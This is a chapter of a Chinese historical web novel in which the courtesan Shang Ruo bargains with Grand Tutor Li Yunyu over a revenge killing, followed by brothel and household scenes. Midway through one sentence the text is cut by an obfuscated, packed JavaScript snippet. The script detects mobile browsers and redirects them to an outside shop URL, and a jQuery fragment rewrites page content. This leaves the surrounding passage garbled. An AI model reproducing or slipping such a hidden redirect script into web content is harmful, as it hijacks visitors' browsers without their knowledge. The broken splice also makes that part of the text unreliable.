商若眼睫轻动,她站起身来往二楼走去。
钱娘见商若蒙面的帕子未拿,正要出去给她时,却发现人早就无影无踪了。
“奇怪,平常见客不都戴着帕子吗?”
因着商若容貌清冷,戴上帕子之后反而更衬得疏离清丽,不染尘俗,想要一睹商若芳容的客人大增,故钱娘也不再拘着商若掩面。
但今日不带,钱娘虽疑惑却收好帕子,估计是商若忘戴了。
商若缓步走到二楼,隔着鸳鸯金线绒花屏风,男子影影绰绰瞧不分明,商若按下心神弯腰行礼:“商若拜见公子。”
“进来。”
语气冷淡,听不出什么情绪,商若绕过屏风却发现雅间无人,她秀眉紧皱,心下开始警惕,倏地脖颈似是碰到什么冰凉物什,商若了然一笑,带着些许认命的颓然道:“许久不见,李太师近日可好?”
“托商若姑娘的福,李某捡回了一条命。”
李韫玉剑尖直指商若,女子转过身来,自金陵城分别之后,商若便再没有见过他,如今这人站在自己面前似恍如隔世,李韫玉依旧噙着疏离温和的笑容,清隽内敛的眉眼透着三分薄凉,矜贵清冷的气质让人只想跪在他脚边不敢靠近。
商若的视线移到他被衣摆遮住的木踊,膝盖跪了下去:“若儿害太师断腿,死不足惜,只希望饶若儿贱命一条,等报仇雪恨之后任太师处置。”
“你要向秦观澜报仇?”
李韫玉将剑抛给李守拙,后者握住剑柄将剑架在商若的肩膀上,男子腿上的这只木踊并不合他的尺寸,但眼下也未腾出时间去找木匠订做新的木踊,故走路还带着跛,坐下之后断腿处如烧灼般疼痛难忍,李韫玉却无知无觉般坐上首座,居高临下的盯着面前女子。
“是。”
“你不是秦观澜的人吗,怎会找他报仇?”
商若隐隐带着怒气:“师傅为从他手中赎出我跟那秦观澜求情,但狗贼却将师傅毙于剑下。”
“商若帮那狗贼迷晕太师后便从金陵城逃跑来到汉中,前几日听钱娘说狗贼要和汉中知府要在花满楼议事,故准备十日后扮作舞娘将他头颅割下祭拜我死去的师傅。”
“荒谬。”
李韫玉嘲讽说道:“你怎得不知是秦观澜知道你在花满楼,才约在此处?”
商若的呼吸一时凌乱,她不禁又想起秦观澜白日教自己如何砍杀人头,夜里又成为他禁脔日夜蹂躏的场景。
夜深露重时那双阴冷偏执的凤眼,垂头嗅闻自己脖颈的恶劣,都是她挥之不去的噩梦。
“他就算是早有预谋,我也定要杀了他。”
商若的眼尾被滔天的仇恨染上猩红,她垂手作揖:“望太师成全。”
李韫玉扯了扯嘴角,“我成全你又如何,不成全你又如何?”
“商若,倘若我不成全就在此地将你斩杀,恐怕我也走不出这花满楼了。”
商若沉默无言,师傅给她的死士还在暗中保护自己,这也是为什么她不惧和李韫玉见面的原因,但听到男子亲口挑破,商若有一瞬间的呆滞。
“我可以不杀你,甚至不会妨碍你的计划,但我需要你再杀一人。”
“谁?”
“汉中知府周连清。”
商若不可置信的抬起头来,李韫玉拿起茶杯用茶盖将茶沫撇开,茶味苦涩麻痹了舌尖,李韫玉听到商若问道:“为何?”
“秦观澜和周连清暗自勾结羌虏在汉中村寨横行霸道,他该死。”李韫玉冷声说道。
“既是大昭的叛徒,商若会替你办到。”
李韫玉轻声一笑:“果然是商将军的女儿,巾帼不让须眉。”
商若压下心中的酸涩:“商若=未能替商家翻案,已是愧对商家满门英烈,如今师傅也成为狗贼的剑下魂,太师送我一命已是大恩,商若定会为太师效
犬马之劳。”
李韫玉听惯了这些场面话,扯了扯嘴角:“记住你今日说的话。”
“商家的案子,待我回到京城自会查办。”
商若闻言,泪水一瞬间滴落下来,“真的?”
“商将军驰骋沙场多年,不该如此潦草收场,此事我会查个清楚,给商家一个交代。”
“谢太师!”
商若将头磕在地上,只听李韫玉又说了一句:“到时你就可以赴死了。”
女子伏在地上紧闭双眼,声线已是竭力压制后的颤抖:“是。”
李韫玉到花满楼的目的已然达成,他递给李守拙一个眼神,后者收起剑来走上前去搀扶着男子,商若的声音从李韫玉的背后传来:“恕商若斗胆一问,春桃姑娘可是太师的人?”
上午听钱娘大骂陈春桃不讲信用,说是这小姑娘看着实诚,但就连辞工都是打发着别人来说的,商若知道陈春桃和李太师认识,原本以为陈春桃武艺高强是李太师故意安插在花满楼的刺客,但如今给陈春桃辞工竟发现此事并不简单。
“她的身份你不必知道。”
李韫玉侧身看向她:“春桃是局外人,切勿让她卷入这场风波之中。”
商若回想着李韫玉昨晚见到陈春桃醉晕的紧张,心下了然。
她目送李韫玉离开后,似是在自言自语:“师傅,若儿定会提着那狗贼的头颅亲自祭奠您,还望您在酒泉之下祝若儿一切顺利。”
崔红儿边打着哈欠边拿着把折扇在楼里晃荡,昨日喝了许多酒,睡到这时起来头晕的厉害,她扯过一小厮道:“明子,去给红娘倒碗茶水。”
“得嘞,红娘你昨日好生威风,要我说就该教训那知府公子,成天来这楼里吓唬姑娘们。”
“呦呵,你倒路见不平起来了,昨日也没见着你跑到我跟前一起骂那狗东西啊。”
小厮红脸,忙不迭的去给崔红儿倒茶水去了。
“一个个的净是些酒囊饭蛋,还不如个姑娘。”
崔红儿边嘲讽边往前走着,瞥眼便见气质清贵的白衣男子翩翩而去,崔红儿当即挪不开眼来正想要上前勾搭,一人倏地拉住她的胳膊道:“你若敢勾
搭他,九条命都不够死的。”
后者回头一看,便见商若掩着面,一双清冷剪眸中透着些许揶揄。
“他是什么身份,难不成还是皇帝啊?”
商若神情转而严肃:“这话日后可不要乱说。”
“我乱说又能怎样,那皇帝小儿还能把我抓起来乱棍打死吗?”
崔红儿嫌弃的看着商若脸上的帕子:“你说好好的一张脸你非得蒙起来作甚,还偏偏男人就喜欢你这半遮半掩的样儿,矫情!”
她平生最瞧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363542|199790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不惯故作正经之人,“咱们都干这行了,男人什么德行还不清楚,就装作那正人君子的样子,若不勾搭岂不白白浪费他们的苦心?”
“他不是我们能招惹起的人。”
商若钳住他的手腕,力道收紧:“日后见着他,能躲多远躲多远。”
崔红儿被她严肃的神情一振,她挣脱出女子的手揉着手腕,试探问道:“他什么身份,看你这样定是个大官了。”
商若不欲多谈,正想走时钱娘迎了过来替小厮端来茶水放到崔红儿的手上,崔红儿调侃一声:“呦呵,什么风把您给吹来了?”
“崔红儿,陈春桃那个小贱种是你介绍来的,如今她不干了,你得给我补上她这份空缺。”
红衣女子闻言疑惑:“春桃不干了?”
“今个上午派人来跟我说日后都不来了。”
钱娘双手叉腰,呸得一声骂道:“亏我还每日给她三两银子,这小贱种竟干的是一次性的买卖。”
“春桃不是这样的人。”
见钱娘如此骂少女,崔红儿为她辩解:“那姑娘实诚,别人把她卖了她估计还得提那人数钱呢,怎可能是言而无信之人。”
“那我不管,剑舞还缺一人,总得有人给补上,楼里无所事事的就你红娘一个,夜里练舞你替上陈春桃。”
“我不要,那剑舞难学的很,有这功夫还不如我多去接几位公子呢。”
“你可知几日后要来的是什么样的大官,要是出了岔子,咱们花满楼就等着歇业吧!”
崔红儿实在被钱娘缠得没法子,只好随意答应道:“跳就跳呗,但你也别指望我跳多好。”
钱娘这才满意离开,崔红儿看向一言不发的商若:“春桃不来的事儿,你也知道吧?”
“上午刚知。”
“坏了,会不会春桃出事儿了。”
昨日和陈春桃喝酒,酒桌上就能看出性情,陈春桃这姑娘一杯接一杯实打实的把酒灌进肚子里,自己劝小姑娘喝酒,她也是照单全收,怎可能是钱娘说的那种人。
崔红儿忧虑的来回乱转,“你昨日把春桃送到哪里了,我去看看她。”
“她不来肯定有她的打算,你不用担心。”
崔红儿叹了口气:“这丫头性子对我胃口,她若真遇上什么困难,我能帮一点是一点,但连招呼都不打,往后恐怕再难相见了。”
“总算是见着了。”陈春昭站起来看向走进来的李韫玉。
李韫玉回到府上便见陈春昭已在他的书房候着了,他脱掉身上狐氅,“可是温书时遇到了问题?”
陈春昭摇头:“近日还好,我来这里是有一事相求。”
少年将东西拿出:“这是我写的,你能否托我将这字卖给商号书肆?”
李韫玉接过他的字仔细端详:“倒是有进步。”
“比你的字自是差一点,但能卖个好价钱了。”
“我知道你应该在汉中有些人脉,故我想求你把这字卖掉。”
李韫玉抬头问他:“据我所知,你的功课应该挪不出太多时间去写这些。”
陈春昭挠挠头:“从保宁府我就开始写了,零零总总加起来攒到现在,这些字若真能换到钱,阿姊也不会那么辛苦。”
“你们早上吵架的事情,我已经知晓了。”